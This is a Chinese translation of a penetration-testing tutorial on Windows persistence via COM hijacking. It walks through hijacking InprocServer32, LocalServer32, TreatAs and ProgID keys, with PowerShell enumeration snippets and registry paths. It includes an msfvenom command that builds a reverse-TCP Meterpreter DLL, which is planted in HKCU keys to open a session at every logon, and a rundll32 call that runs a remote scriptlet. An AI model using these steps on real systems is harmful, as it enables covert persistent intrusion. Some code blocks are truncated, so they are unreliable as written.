持久性--COM劫持

  • 持久性--COM劫持已关闭评论
  • 69 views
  • A+

简述

原文:https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
by Administrator.In Persistence.Leave a Comment
微软在Windows 3.11中引入了组件对象模型(COM),作为一种实现对象的方法,这些对象可以被不同的框架(ActiveX、COM+、DCOM等)和不同的Windows环境中使用,允许互操作性、进程间通信和代码重用。滥用COM对象可以使红队代表受信任的进程执行任意代码。执行COM劫持不需要管理员权限,因为HKCU注册表蜂巢中的类会在HKLM中的类之前执行。唯一的例外是影响到高完整性的进程(提升),这些进程的对象只能从HKLM的位置加载,以防止权限提升。
有多种方法可以执行代码,但是在红色分组方案中,COM已被用于持久性,横向移动和逃避防御的几种情况。 根据恶意代码执行的方式,在COM劫持过程中会使用各种注册表子项。 这些是:
* InprocServer/InprocServer32
* LocalServer/LocalServer32
* TreatAs
* ProgID
上面的子项位于以下注册表配置单元中:
* HKEY_CURRENT_USER\Software\Classes\CLSID
* HKEY_LOCAL_MACHINE\Software\Classes\CLSID

发现COM keys–劫持

识别可能被用来进行COM劫持的COM密钥是很琐碎的,需要使用Process Monitor来发现缺少CLSID的COM服务器,并且不需要提升权限(HKCU)。Process Monitor可以配置以下过滤器:
* Operation is RegOpenKey
* Result is NAME NOT FOUND
* Path ends with InprocServer32
* Exclude if path starts with HKLM

image.png
打开文件并执行任务(例如,标准用户)将生成带有COM keys的列表,可以将该列表进行劫持,以便将任意库加载到受信任的进程。

image.png
结果可以直接使用或以CSV和XML等各种格式导出。

image.png
David Tulis开发的一个名为acCOMplice的PowerShell脚本包含一个功能,它可以将进程监控结果以CSV格式提取可能被劫持的密钥。
language
Extract-HijackableKeysFromProcmonCSV -CSVfile .\\pentestlab.CSV

image.png
该工具还有一个功能,可以直接检索系统中存在的缺失库及其CLSID。
language
Find-MissingLibraries

image.png
另一种方法是执行以下PowerShell片段,这已由bohops在其有关Abusing the COM Registry Structure.的文章中进行了演示。 这可以用来枚举可能被劫持的“ LocalServer32”类:
language
$inproc = gwmi Win32_COMSetting | ?{ $_.LocalServer32 -ne $null }
$inproc | ForEach {$_.LocalServer32} > values.txt
$paths = gc .\values.txt
foreach ($p in $paths){$p;cmd /c dir $p > $null}

image.png
同样,以下PowerShell代码可以枚举InprocServer32类:
language
$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
$paths = $inproc | ForEach {$_.InprocServer32}
foreach ($p in $paths){$p;cmd /c dir $p > $nul

image.png
执行该代码段将产生一个COM库列表,可以对其进行调查以获取COM劫持机会。

image.png
发现COM keys-计划任务
Matt NelsonMatthew Graeber开发了一个PowerShell脚本(Get-ScheduledTaskComHandler),可以检查主机上所有在用户登录时执行的、容易被COM劫持的计划任务。
language
Import-Module .\Get-ScheduledTaskComHandler.ps1
Get-ScheduledTaskComHandler

image.png
参数 "PersistenceLocations "将检索容易被COM劫持的调度任务,这些任务可以用于持久化,而且它们不需要提升权限。CLSID和相关的DLL也会显示在输出中。
language
Get-ScheduledTaskComHandler -PersistenceLocations

image.png
任务 "CacheTask "调用时使用 "wininet.dll",其CLSID如下:{0358B920-0AC7-461F-98F4-58E32CD89148}

image.png
CLSID和相关的DLL也可以从任务的配置文件中获得。该文件存储在以下位置:
language
C:\\Windows\\System32\\Tasks\\Microsoft\\Windows\\Wininet\\CacheTask

另外,从PowerShell控制台调用 "schtasks "实用程序,使用以下参数也可以检索文件的内容。
language
schtasks /query /XML /TN` `"\Microsoft\Windows\Wininet\CacheTask"

image.png
查看任务调度器将验证任务触发器是否要在任何用户登录期间启动。劫持CLSID将在系统上建立一个持久性条件。
插入

image.png

InprocServer32

"InprocServer32"(In-ProcServer32)注册表键表示COM库在磁盘上的位置,并定义了线程模型。下图展示了 "InprocServer32 "中通常存在的注册表键。

image.png
在HKCU中重新创建上面发现的 "缓存任务 "的注册表键结构,并指向一个任意的DLL而不是 "wininet.dll",将执行代码,因为位于HKCU中的DLL将在HKLM之前被加载。
HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Classes\\CLSID\\{0358b920-0ac7-461f-98f4-58e32cd89148}\\InProcServer32

image.png
下面的DLL文件将创建一个消息框,当 "CacheTask "进程启动时,该消息框将展示一条消息,以表明代码已被执行。
```language

include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(0, L"Pentestlab COM Hijacking", 0, 0);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
![image.png](/img/sin/M00/00/60/wKg0C2BFzNeARmCWAACNhwIdwzg017.png)
需要将DLL放入磁盘,并且子项“ InprocServer32”需要指向DLL的位置。
![image.png](/img/sin/M00/00/60/wKg0C2BFzPqAbEUbAAC_ObfRBwk853.png)
由于 "CacheTask "默认在用户登录时启动,因此任何用户的代码将在不同的登录中永久执行(持久性)。
![image.png](/img/sin/M00/00/60/wKg0C2BFzQuAB1LnAADlZs6rWNU175.png)
通过执行以下命令,也可以用Metasploit工具 "msfvenom "生成恶意DLL:
language
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=5555 -f dll > pentestlab.dll
![image.png](/img/sin/M00/00/60/wKg0C2BFzSWAH1HUAABi3ekGboo546.png)
在被劫持发生的同一注册表路径上,用Metasploit生成的DLL替换之前的DLL。
![image.png](/img/sin/M00/00/60/wKg0C2BFzTWAcTQiAAC40wEiVEw783.png)
代码将被执行,并在每次用户登录目标系统时建立一个Meterpreter会话。
![image.png](/img/sin/M00/00/60/wKg0C2BFzUOAFs4dAACt5QDO7i4293.png)
也可以执行无文件的有效payloads,比如脚本小程序,而不是DLL文件。
language
<?XML version="1.0"?>


"ScriptletURL "注册表键定义了任意.sct文件的远程位置,当COM类被调用时,该文件将被获取并执行。
![image.png](/img/sin/M00/00/60/wKg0C2BFzZyABgBZAADCcS1tTKg003.png)
执行以下命令将调用COM类,并直接执行有效payload。
language
rundll32.exe -sta {AAAA1111-0000-0000-0000-0000FEEDACDC}
```

image.png

image.png

LocalServer32

LocalServer32注册表项指定了外部COM对象在系统中的位置。这些通常是具有可执行文件形式的应用程序。下面的COM类ID已经在前面的可劫持键枚举过程中被检索到,可以用来执行一个任意的可执行文件。
language
HKEY\_CLASSES\_ROOT\\CLSID\\{45EAE363-122A-445A-97B6-3DE890E786F8}\\LocalServer32

image.png
用任意可执行文件在磁盘上的位置替换应用程序的默认值,将实现劫持。

image.png
还需要通过执行以下PowerShell命令来激活ClassID,否则COM对象将被禁用。
language
\[activator\]::CreateInstance(\[type\]::GetTypeFromCLSID("45EAE363-122A-445A-97B6-3DE890E786F8"))

image.png
当COM对象被调用时,任意的可执行程序将运行,并与命令和控制系统建立会话。

image.png

TreatAs/ProgID

“ TreatAs”是一个注册表项,它允许另一个CLSID模拟一个CLSID。 这可以用于将一个COM对象重定向到另一个COM对象。 最初由Casey Smith和Matt Nelson在2017年的WWindows Operating System Archaeology i提出。滥用“ TreatAs”涉及以下两个步骤:
1. 在HKCU注册表蜂巢中创建一个恶意的CLSID,并选择一个目标COM服务器。
2. 通过添加指向恶意CLSID的 "TreatAs "子键来劫持合法CLSID。
"ProgID "是COM对象的友好名称,它不是唯一的。以下注册表键将ProgID解析为CLSID。
* HKCU\Software\Classes
* HKLM\Software\Classes
这意味着,当应用程序(客户端)激活COM对象(类)时,操作系统将通过首先读取以下注册表位置来解析关联的“ ProgID”:
* HKCU\Software\Classes\ProgID
Casey Smith和Matt Nelson发布了一个概念证明,作为他们演讲的一部分,以证明一个类也可以通过它的 "ProgID "或 "TreatAs "子键进行调用,以执行回避。以下文件可以作为一个例子。

image.png
该文件将创建用于劫持有效CLSID的所需注册表键值。执行下面的命令将把该文件导入注册表。
language
reg import TreatAsPersistence.reg

image.png
带有“ -sta”(单线程单元)开关的“ rundll32”实用程序可用于调用恶意的“ TreatAs” CLSID或“ ProID”。
rundll32 -sta {00000001-0000-0000-0000-0000FEEDACDC}
rundll32 -sta "pentestlab"

image.png
在这两种情况下,任意代码都被成功执行,会话被打开。

image.png

InprocServer32 – Internet Explorer

Internet Explorer在企业环境中被积极使用,因为它提供了与具有Web界面的内部应用程序的兼容性。G Data SecurityLabs对COMpfun RAT的分析表明,威胁行为者劫持了一个合法的COM对象,以便在Internet Explorer进程被调用时在系统上建立持久性。
这是因为与许多其他Windows应用程序一样,Internet Explorer使用以下文件“ api-ms-win-downlevel-1×64-l1-1-0._dl”或“ api-ms-win-downlevel-1×86-l1” 进程启动时,将显示“ -1-0._dl”。 可以在以下Windows位置找到此文件:
language
%APPDATA%\\Microsoft\\Installer\\{BCDE0395-E52F-467C-8E3D-C4579291692E}

COM Object hijacking persistencePowerShell脚本可以作为该技术的概念验证。执行该脚本将创建所需的文件夹结构,并将对主机的架构进行检查,以便进行必要的注册表修改。
language
`Import-Module` `'.\COM Object hijacking persistence.ps1`

image.png
当 "iexplore.exe "进程启动时,计算器将启动,这将证明劫持成功。

image.png
用Metasploit实用程序 "msfvenom "生成一个任意的DLL并替换.dl文件以建立一个Meterpreter会话也很简单。

image.png
在注册表中手动创建以下CLSID,并修改该键指向系统中DLL的位置。

image.png
当再次启动Internet Explorer时,DLL文件将在可信进程下加载。

image.png
一个Meterpreter会话将打开,这将证明已经实现了持久性。需要注意的是,直接使用Metasploit生成的DLL文件可能会导致系统不稳定,Internet Explorer可能会作为一个进程运行但无法打开。这是因为CAccPropServiceClass()会被多次调用,因此需要对DLL文件进行一些进一步的优化。

image.png

Tools

参考文献